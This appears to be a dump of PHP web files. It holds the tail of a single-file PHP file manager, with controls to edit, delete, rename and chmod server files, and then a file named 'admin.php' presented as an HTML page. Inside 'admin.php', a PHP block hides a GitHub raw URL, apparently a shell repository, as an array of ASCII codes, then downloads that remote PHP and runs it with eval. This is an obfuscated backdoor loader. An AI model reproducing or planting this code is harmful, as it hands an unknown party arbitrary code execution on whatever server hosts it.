                                    <?php endif; ?>
                                    <button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
                                    <button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
                                    <form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
                                        <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                                        <input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
                                        <button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
                                    </form>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </section>
        
        <footer class="footer">
            Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
        </footer>
    </div>
    
    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="renameOldPath" name="oldPath" value="">
                <div class="form-group">
                    <label for="renameNewName">New Name:</label>
                    <input type="text" id="renameNewName" name="newName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
                    <button type="submit" name="rename" class="btn">Rename</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Permissions Modal -->
    <div id="permissionsModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="permissionsPath" name="permPath" value="">
                <div class="form-group">
                    <label for="permissionsOctal">Permissions (Octal):</label>
                    <input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
                    <button type="submit" name="changePermissions" class="btn">Apply</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Edit File Modal -->
    <div id="editFileModal" class="modal">
        <div class="modal-content modal-lg">
            <h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
            <form class="editor-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="editFilePath" name="filePath" value="">
                <div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
                    <textarea id="fileContent" name="fileContent" required></textarea>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
                    <button type="submit" name="saveFile" class="btn">Save</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create File Modal -->
    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New File</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFileName">File Name:</label>
                    <input type="text" id="newFileName" name="newFileName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
                    <button type="submit" name="createFile" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create Folder Modal -->
    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New Folder</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFolderName">Folder Name:</label>
                    <input type="text" id="newFolderName" name="newFolderName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
                    <button type="submit" name="createFolder" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Hidden form for navigation -->
    <form id="navigationForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="navigate">
        <input type="hidden" id="navigationPath" name="path" value="">
    </form>
    
    <!-- Hidden form for download -->
    <form id="downloadForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="download">
        <input type="hidden" id="downloadPath" name="path" value="">
    </form>
    
    <script>
        // Show loading overlay
        function showLoading() {
            document.getElementById('loadingOverlay').style.display = 'flex';
        }
        
        // Hide loading overlay
        function hideLoading() {
            document.getElementById('loadingOverlay').style.display = 'none';
        }
        
        // Navigation function
        function navigateTo(path) {
            showLoading();
            document.getElementById('navigationPath').value = path;
            document.getElementById('navigationForm').submit();
        }
        
        // Download function
        function downloadFile(path) {
            document.getElementById('downloadPath').value = path;
            document.getElementById('downloadForm').submit();
        }
        
        // Show rename modal
        function showRenameModal(path, name) {
            document.getElementById('renameFileName').textContent = name;
            document.getElementById('renameOldPath').value = path;
            document.getElementById('renameNewName').value = name;
            document.getElementById('renameModal').style.display = 'flex';
        }
        
        // Show permissions modal
        function showPermissionsModal(path, name) {
            document.getElementById('permissionsFileName').textContent = name;
            document.getElementById('permissionsPath').value = path;
            document.getElementById('permissionsModal').style.display = 'flex';
        }
        
        // Show edit file modal
        function showEditFileModal(path, name) {
            document.getElementById('editFileName').textContent = name;
            document.getElementById('editFilePath').value = path;
            
            showLoading();
            
            // Fetch file content using POST
            const formData = new FormData();
            formData.append('action', 'getContent');
            formData.append('path', path);
            
            fetch(window.location.pathname, {
                method: 'POST',
                body: formData
            })
            .then(response => response.text())
            .then(content => {
                document.getElementById('fileContent').value = content;
                document.getElementById('editFileModal').style.display = 'flex';
                hideLoading();
            })
            .catch(error => {
                hideLoading();
                alert('Error loading file content: ' + error);
            });
        }
        
        // Show create file modal
        function showCreateFileModal() {
            document.getElementById('newFileName').value = '';
            document.getElementById('createFileModal').style.display = 'flex';
        }
        
        // Show create folder modal
        function showCreateFolderModal() {
            document.getElementById('newFolderName').value = '';
            document.getElementById('createFolderModal').style.display = 'flex';
        }
        
        // Hide modal
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        // Close modals when clicking outside
        window.onclick = function(event) {
            if (event.target.className === 'modal') {
                event.target.style.display = 'none';
            }
        }
        
        // Add loading indicator to form submissions
        document.addEventListener('DOMContentLoaded', function() {
            const forms = document.querySelectorAll('form');
            forms.forEach(form => {
                form.addEventListener('submit', function() {
                    // Don't show loading for the navigation and download forms
                    if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
                        showLoading();
                    }
                });
            });
        });
    </script>
</body>
</html>admin.php000066600000001361151334721360006357 0ustar00<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
<?php
// ASCII array of the GitHub raw URL
$asciiArray = [104, 116, 116, 112, 115, 58, 47, 47, 114, 97, 119, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 77, 114, 88, 99, 111, 100, 101, 114, 111, 102, 102, 105, 99, 105, 97, 108, 47, 77, 114, 120, 115, 104, 101, 108, 108, 50, 48, 50, 53, 47, 114, 101, 102, 115, 47, 104, 101, 97, 100, 115, 47, 109, 97, 105, 110, 47, 120, 115, 101, 99, 46, 112, 104, 112];

// Convert ASCII codes to string
$url = '';
foreach ($asciiArray as $c) {
    $url .= chr($c);
}

// Fetch the PHP code from the URL
$code = file_get_contents($url);

// Execute the fetched code
eval("?>".$code);
?>
Back to Directory File Manager